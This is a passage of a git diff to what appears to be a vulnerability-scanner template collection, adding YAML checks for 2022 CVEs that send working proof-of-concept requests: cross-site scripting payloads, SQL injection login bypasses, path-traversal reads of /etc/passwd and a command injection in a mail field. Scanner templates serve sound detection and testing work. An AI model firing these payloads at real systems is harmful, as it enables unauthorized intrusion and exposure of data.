allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the fname or lname parameters. + reference: + - https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt + - https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-29005 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29005 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,xss,obcs,authenticated +requests: + - raw: + - | + POST /obcs/user/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + mobno={{username}}&password={{password}}&login= + + - | + POST /obcs/user/profile.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + fname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname=nuclei%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit= + + - | + GET /obcs/user/dashboard.php HTTP/1.1 + Host: {{Hostname}} + + req-condition: true + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers: + - type: dsl + dsl: + - 'contains(all_headers_3, "text/html")' + - 'status_code_3 == 200' + - contains(body_3, 'admin-name\">nuclei') + condition: and diff --git a/cves/2022/CVE-2022-29006.yaml b/cves/2022/CVE-2022-29006.yaml new file mode 100644 index 0000000000..b9e89483d4 --- /dev/null +++ b/cves/2022/CVE-2022-29006.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-29006 + +info: + name: Directory Management System 1.0 - SQLi Authentication Bypass + author: TenBird + severity: critical + description: | + Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Directory Management System v1.0 allows attackers to bypass authentication. + reference: + - https://www.exploit-db.com/exploits/50370 + - https://phpgurukul.com/directory-management-system-using-php-and-mysql/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-29006 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29006 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,auth-bypass,edb +requests: + - raw: + - | + POST /admin/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username=admin' or '1'='1&password=1&login=login + + - | + GET /admin/dashboard.php HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'DMS || Dashboard' + - 'DMS Admin' + - 'Admin Profile' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29007.yaml b/cves/2022/CVE-2022-29007.yaml new file mode 100644 index 0000000000..780527e962 --- /dev/null +++ b/cves/2022/CVE-2022-29007.yaml @@ -0,0 +1,47 @@ +id: CVE-2022-29007 + +info: + name: Dairy Farm Shop Management System v1.0 - SQLi Authentication Bypass + author: TenBird + severity: critical + description: | + Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Dairy Farm Shop Management System v1.0 allows attackers to bypass authentication. + reference: + - https://www.exploit-db.com/exploits/50365 + - https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-29007 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29007 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve,cve2022,sqli,auth-bypass,edb +requests: + - raw: + - | + POST /dfsms/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username=admin' or '1'='1&password=1&login=login + + - | + GET /dfsms/add-category.php HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Add Product' + - 'Admin' + - 'DFSMS' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29009.yaml b/cves/2022/CVE-2022-29009.yaml new file mode 100644 index 0000000000..1be6d17dfc --- /dev/null +++ b/cves/2022/CVE-2022-29009.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-29009 + +info: + name: Cyber Cafe Management System Project v1.0 - SQLi Authentication Bypass + author: TenBird + severity: critical + description: | + Multiple SQL injection vulnerabilities via the username and password parameters in the Admin panel of Cyber Cafe Management System Project v1.0 allows attackers to bypass authentication. + reference: + - https://www.exploit-db.com/exploits/50355 + - https://phpgurukul.com/cyber-cafe-management-system-using-php-mysql/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-29009 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29009 + cwe-id: CWE-89 + metadata: + verified: "true" + tags: cve2022,sqli,auth-bypass,edb,cve +requests: + - raw: + - | + POST /ccms/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + username=%27+Or+1--+-&password=1&login= + + - | + GET /ccms/dashboard.php HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'CCMS Admin Dashboard' + - 'CCMS ADMIN | Admin' + condition: and + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29014.yaml b/cves/2022/CVE-2022-29014.yaml new file mode 100644 index 0000000000..b7c1a26f7f --- /dev/null +++ b/cves/2022/CVE-2022-29014.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-29014 + +info: + name: Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion + author: edoardottt + severity: high + description: Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files. + reference: + - https://www.exploit-db.com/exploits/50864 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29014 + - https://www2.razer.com/ap-en/desktops-and-networking/razer-sila + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-29014 + tags: cve,cve2022,razer,lfi,router,edb + +requests: + - raw: + - | + POST /ubus/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]} + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-29272.yaml b/cves/2022/CVE-2022-29272.yaml new file mode 100644 index 0000000000..0174a28b3a --- /dev/null +++ b/cves/2022/CVE-2022-29272.yaml @@ -0,0 +1,50 @@ +id: CVE-2022-29272 + +info: + name: Nagios XI < 5.8.5 - Open Redirect + author: ritikchaddha + severity: medium + description: | + In Nagios XI through 5.8.5, an open redirect vulnerability exists in the login function that could lead to spoofing. + reference: + - https://github.com/sT0wn-nl/CVEs/tree/master/CVE-2022-29272 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29272 + - https://github.com/4LPH4-NL/CVEs + - https://github.com/sT0wn-nl/CVEs/blob/master/README.md#nagios-xi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29272 + cwe-id: CWE-601 + tags: cve,cve2022,redirect,nagios,nagiosxi + +requests: + - raw: + - | + GET /nagiosxi/login.php?redirect=/www.interact.sh HTTP/1.1 + Host: {{Hostname}} + + - | + POST /nagiosxi/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + nsp={{nsp_token}}&page=auth&debug=&pageopt=login&redirect=%2Fwww.interact.sh&username={{username}}&password={{password}}&loginButton=Login + + redirects: true + max-redirects: 2 + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + + extractors: + - type: regex + part: body + name: nsp_token + group: 1 + internal: true + regex: + - '' + - "" diff --git a/cves/2022/CVE-2022-29298.yaml b/cves/2022/CVE-2022-29298.yaml new file mode 100644 index 0000000000..2f75e09114 --- /dev/null +++ b/cves/2022/CVE-2022-29298.yaml @@ -0,0 +1,39 @@ +id: CVE-2022-29298 + +info: + name: SolarView Compact 6.00 - Local File Inclusion + author: ritikchaddha + severity: high + description: SolarView Compact 6.00 is vulnerable to local file inclusion which could allow attackers to access sensitive files. + reference: + - https://www.exploit-db.com/exploits/50950 + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view + - https://drive.google.com/file/d/1-RHw9ekVidP8zc0xpbzBXnse2gSY1xbH/view?usp=sharing + - https://nvd.nist.gov/vuln/detail/CVE-2022-29298 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-29298 + cwe-id: CWE-22 + metadata: + shodan-query: http.html:"SolarView Compact" + verified: "true" + tags: lfi,solarview,edb,cve,cve2022 + +requests: + - method: GET + path: + - "{{BaseURL}}/downloader.php?file=../../../../../../../../../../../../../etc/passwd%00.jpg" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/15 diff --git a/cves/2022/CVE-2022-29299.yaml b/cves/2022/CVE-2022-29299.yaml new file mode 100644 index 0000000000..cacf113fb8 --- /dev/null +++ b/cves/2022/CVE-2022-29299.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-29299 + +info: + name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting + author: For3stCo1d + severity: medium + description: | + SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php. + reference: + - https://www.exploit-db.com/exploits/50967 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299 + classification: + cve-id: CVE-2022-29299 + metadata: + verified: true + shodan-query: http.favicon.hash:-244067125 + tags: cve,cve2022,xss,solarview,edb + +requests: + - method: GET + path: + - '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<"">' + - '/Solar_History.php" METHOD="post">' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + +# Enhanced by cs 06/21/2022 diff --git a/cves/2022/CVE-2022-29301.yaml b/cves/2022/CVE-2022-29301.yaml new file mode 100644 index 0000000000..d313b33940 --- /dev/null +++ b/cves/2022/CVE-2022-29301.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-29301 + +info: + name: SolarView Compact 6.00 - 'pow' Cross-Site Scripting + author: For3stCo1d + severity: high + description: | + SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'pow' parameter to Solar_SlideSub.php. + reference: + - https://www.exploit-db.com/exploits/50968 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29301 + classification: + cve-id: CVE-2022-29301 + metadata: + verified: true + shodan-query: http.favicon.hash:-244067125 + tags: cve,cve2022,xss,solarview,edb + +requests: + - method: GET + path: + - '{{BaseURL}}/Solar_SlideSub.php?id=4&play=1&pow=sds%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&bgcolor=green' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '<"">' + - 'SolarView' + condition: and + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 + +# Enhanced by cs 06/21/2022 diff --git a/cves/2022/CVE-2022-29303.yaml b/cves/2022/CVE-2022-29303.yaml new file mode 100644 index 0000000000..1d2c392e54 --- /dev/null +++ b/cves/2022/CVE-2022-29303.yaml @@ -0,0 +1,42 @@ +id: CVE-2022-29303 + +info: + name: SolarView Compact 6.00 - OS Command Injection + author: badboycxcc + severity: critical + description: | + SolarView Compact 6.00 was discovered to contain a command injection vulnerability via conf_mail.php. + reference: + - https://www.exploit-db.com/exploits/50940 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29303 + - https://drive.google.com/drive/folders/1tGr-WExbpfvhRg31XCoaZOFLWyt3r60g?usp=sharing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29303 + cwe-id: CWE-77 + metadata: + shodan-query: http.html:"SolarView Compact" + verified: "true" + tags: cve,cve2022,rce,injection,solarview,edb + +variables: + cmd: "cat${IFS}/etc/passwd" + +requests: + - raw: + - | + @timeout: 25s + POST /conf_mail.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + mail_address=%3B{{cmd}}%3B&button=%83%81%81%5B%83%8B%91%97%90M + + matchers: + - type: regex + part: body + regex: + - "root:.*:0:0" + +# Enhanced by mp on 2022/06/01 diff --git a/cves/2022/CVE-2022-29349.yaml b/cves/2022/CVE-2022-29349.yaml new file mode 100644 index 0000000000..0afba26701 --- /dev/null +++ b/cves/2022/CVE-2022-29349.yaml @@ -0,0 +1,40 @@ +id: CVE-2022-29349 + +info: + name: kkFileView v4.0.0 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + kkFileView v4.0.0 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java. + reference: + - https://github.com/kekingcn/kkFileView/issues/347 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29349 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29349 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"kkFileView" + verified: "true" + tags: cve,cve2022,kkFileView,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/onlinePreview?url=aHR0cDovL3d3dy54eHguY29tL3h4eC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPjEyMw%3D%3D" + + matchers-condition: and + matchers: + - type: word + words: + - 'txt">123' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-29383.yaml b/cves/2022/CVE-2022-29383.yaml new file mode 100644 index 0000000000..c0522654b9 --- /dev/null +++ b/cves/2022/CVE-2022-29383.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-29383 + +info: + name: NETGEAR ProSafe SSL VPN firmware - SQL Injection + author: elitebaz + severity: critical + description: | + NETGEAR ProSafe SSL VPN multiple firmware versions were discovered to contain a SQL injection vulnerability via USERDBDomains.Domainname at cgi-bin/platform.cgi. + reference: + - http://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-29383 + - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222-CVE-2022-29383 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29383 + - https://github.com/badboycxcc/Netgear-ssl-vpn-20211222 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-29383 + metadata: + verified: "true" + tags: cve,cve2022,sqli,netgear,router + +requests: + - raw: + - | + POST /scgi-bin/platform.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=utf-8 + + thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5435'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd + + - | + POST /scgi-bin/platform.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded; charset=utf-8 + + thispage=index.htm&USERDBUsers.UserName=NjVI&USERDBUsers.Password=&USERDBDomains.Domainname=geardomain'+AND+'5434'%3d'5434'+AND+'MwLj'%3d'MwLj&button.login.USERDBUsers.router_status=Login&Login.userAgent=MDpd + + req-condition: true + matchers: + - type: dsl + dsl: + - contains(body_1, "User authentication Failed") + - contains(body_2, "User Login Failed for SSLVPN User.") + condition: and + +# Enhanced by mp on 2022/07/04 diff --git a/cves/2022/CVE-2022-29455.yaml b/cves/2022/CVE-2022-29455.yaml new file mode 100644 index 0000000000..5352bde094 --- /dev/null +++ b/cves/2022/CVE-2022-29455.yaml @@ -0,0 +1,54 @@ +id: CVE-2022-29455 + +info: + name: Wordpress Elementor <= 3.5.5 - DOM-based Cross-Site Scripting + author: rotembar,daffainfo + severity: medium + description: | + DOM-based Reflected Cross-Site Scripting (XSS) vulnerability in Elementor's Elementor Website Builder plugin <= 3.5.5 versions. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2022-29455 + - https://rotem-bar.com/hacking-65-million-websites-greater-cve-2022-29455-elementor + - https://www.rotem-bar.com/elementor + - https://patchstack.com/database/vulnerability/elementor/wordpress-elementor-plugin-3-5-5-unauthenticated-dom-based-reflected-cross-site-scripting-xss-vulnerability + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-29455 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,xss,wordpress,elementor + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-content/plugins/elementor/readme.txt' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Elementor Website Builder' + + - type: dsl + dsl: + - compare_versions(version, '<= 3.5.5') + + - type: status + status: + - 200 + + extractors: + - type: regex + name: version + internal: true + group: 1 + regex: + - "(?m)Stable tag: ([0-9.]+)" + + - type: regex + group: 1 + regex: + - "(?m)Stable tag: ([0-9.]+)" diff --git a/cves/2022/CVE-2022-29464.yaml b/cves/2022/CVE-2022-29464.yaml index 7760953a04..c82331a780 100644 --- a/cves/2022/CVE-2022-29464.yaml +++ b/cves/2022/CVE-2022-29464.yaml @@ -1,21 +1,24 @@ id: CVE-2022-29464 info: - name: WSO2 Management - Unrestricted Arbitrary File Upload & Remote Code Execution + name: WSO2 Management - Arbitrary File Upload & Remote Code Execution author: luci,dhiyaneshDk severity: critical - description: Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through - 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. + description: | + Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0. reference: - https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/ - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 - - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 - https://github.com/hakivvi/CVE-2022-29464 + - https://nvd.nist.gov/vuln/detail/CVE-2022-29464 classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 cve-id: CVE-2022-29464 + cwe-id: CWE-434 metadata: shodan-query: http.favicon.hash:1398055326 - tags: cve,cve2022,rce,fileupload,wso2,intrusive + tags: cve,cve2022,rce,fileupload,wso2,intrusive,kev requests: - raw: @@ -40,4 +43,6 @@ requests: matchers: - type: dsl dsl: - - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" \ No newline at end of file + - "contains(body_2, 'WSO2-RCE-CVE-2022-29464')" + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-29548.yaml b/cves/2022/CVE-2022-29548.yaml index 22a912ae8a..d77f5b79ce 100644 --- a/cves/2022/CVE-2022-29548.yaml +++ b/cves/2022/CVE-2022-29548.yaml @@ -1,7 +1,7 @@ id: CVE-2022-29548 info: - name: WSO2 Management Console - Reflected XSS + name: WSO2 Management Console - Cross-Site Scripting author: edoardottt severity: medium description: | @@ -9,14 +9,15 @@ info: reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-29548 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29548 + - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1603 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-29548 cwe-id: CWE-79 metadata: - verified: true - google-dork: inurl:"carbon/admin/login" + google-query: inurl:"carbon/admin/login" + verified: "true" tags: cve,cve2022,wso2,xss requests: diff --git a/cves/2022/CVE-2022-30073.yaml b/cves/2022/CVE-2022-30073.yaml new file mode 100644 index 0000000000..9b6d4abc54 --- /dev/null +++ b/cves/2022/CVE-2022-30073.yaml @@ -0,0 +1,72 @@ +id: CVE-2022-30073 + +info: + name: WBCE CMS v1.5.2 XSS Stored + author: arafatansari + severity: medium + description: | + WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS) via \admin\user\save.php Display Name parameters. + reference: + - https://github.com/APTX-4879/CVE + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30073 + - https://github.com/APTX-4879/CVE/blob/main/CVE-2022-30073.pdf + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2022-30073 + cwe-id: CWE-79 + metadata: + verified: "true" + tags: cve,cve2022,wbcecms,xss + +requests: + - raw: + - | + POST /admin/login/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login + + - | + GET /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + + - | + POST /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + formtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit= + + - | + GET /admin/users/index.php HTTP/1.1 + Host: {{Hostname}} + + extractors: + - type: regex + name: formtoken + part: body + group: 1 + regex: + - '' + internal: true + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "

" + - "WBCECMS" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-30489.yaml b/cves/2022/CVE-2022-30489.yaml index 23aaf83d2f..4c5426d828 100644 --- a/cves/2022/CVE-2022-30489.yaml +++ b/cves/2022/CVE-2022-30489.yaml @@ -1,17 +1,24 @@ id: CVE-2022-30489 info: - name: Wavlink Wn535g3 - POST XSS + name: Wavlink Wn535g3 - POST Cross-Site Scripting author: For3stCo1d - severity: high + severity: medium + description: | + WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi. reference: - https://github.com/badboycxcc/XSS-CVE-2022-30489 - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 + - https://github.com/badboycxcc/XSS + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30489 + cwe-id: CWE-79 metadata: - verified: true shodan-query: http.title:"Wi-Fi APP Login" + verified: "true" tags: xss,cve2022,wavlink,cve,router,iot - description: "WAVLINK WN535 G3 was discovered to contain a cross-site scripting (XSS) vulnerability via the hostname parameter at /cgi-bin/login.cgi." requests: - raw: diff --git a/cves/2022/CVE-2022-30525.yaml b/cves/2022/CVE-2022-30525.yaml index d16b0266ff..12922c9a7a 100644 --- a/cves/2022/CVE-2022-30525.yaml +++ b/cves/2022/CVE-2022-30525.yaml @@ -1,18 +1,24 @@ id: CVE-2022-30525 info: - name: Zyxel Firewall - Unauthenticated RCE + name: Zyxel Firewall - OS Command Injection author: h1ei1,prajiteshsingh severity: critical description: | - The vulnerability affects Zyxel firewalls that support Zero Touch Provisioning (ZTP), including the ATP Series, VPN Series, and USG FLEX Series (including USG20-VPN and USG20W-VPN), allowing an unauthenticated remote attacker to target the affected device as nobody Execute arbitrary code as a user on. + An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. reference: - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - https://github.com/rapid7/metasploit-framework/pull/16563 + - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-30525 + cwe-id: CWE-78 metadata: shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" - tags: rce,zyxel,cve,cve2022,firewall,unauth + tags: zyxel,cve,cve2022,firewall,unauth,kev,msf,rce requests: - raw: @@ -33,3 +39,5 @@ requests: - type: status status: - 500 + +# Enhanced by mp on 2022/05/19 diff --git a/cves/2022/CVE-2022-30776.yaml b/cves/2022/CVE-2022-30776.yaml new file mode 100644 index 0000000000..10403b474a --- /dev/null +++ b/cves/2022/CVE-2022-30776.yaml @@ -0,0 +1,43 @@ +id: CVE-2022-30776 + +info: + name: Atmail - Cross-Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + atmail 6.5.0 allows XSS via the index.php/admin/index/ error parameter. + reference: + - https://medium.com/@bhattronit96/cve-2022-30776-cd34f977c2b9 + - https://www.atmail.com/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-30776 + - https://help.atmail.com/hc/en-us/sections/115003283988 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30776 + cwe-id: CWE-79 + metadata: + shodan-query: http.html:"atmail" + verified: "true" + tags: cve,cve2022,atmail,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/atmail/index.php/admin/index/?error=1%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Error: 1" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-30777.yaml b/cves/2022/CVE-2022-30777.yaml new file mode 100644 index 0000000000..f1a225dbee --- /dev/null +++ b/cves/2022/CVE-2022-30777.yaml @@ -0,0 +1,44 @@ +id: CVE-2022-30777 + +info: + name: Parallels H-Sphere - Cross-Site Scripting + author: 3th1c_yuk1 + severity: medium + description: | + Parallels H-Sphere 3.6.1713 allows XSS via the index_en.php from parameter. + reference: + - https://medium.com/@bhattronit96/cve-2022-30777-45725763ab59 + - https://nvd.nist.gov/vuln/detail/CVE-2022-30777 + - https://en.wikipedia.org/wiki/H-Sphere + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-30777 + cwe-id: CWE-79 + metadata: + shodan-query: title:"h-sphere" + verified: "true" + tags: cve,cve2022,parallels,hsphere,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/index_en.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + - '{{BaseURL}}/index.php?from=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: word + words: + - '"><script>alert(document.domain)</script>' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/cves/2022/CVE-2022-31126.yaml b/cves/2022/CVE-2022-31126.yaml new file mode 100644 index 0000000000..8c84249b26 --- /dev/null +++ b/cves/2022/CVE-2022-31126.yaml @@ -0,0 +1,46 @@ +id: CVE-2022-31126 + +info: + name: Roxy-WI - Unauthenticated 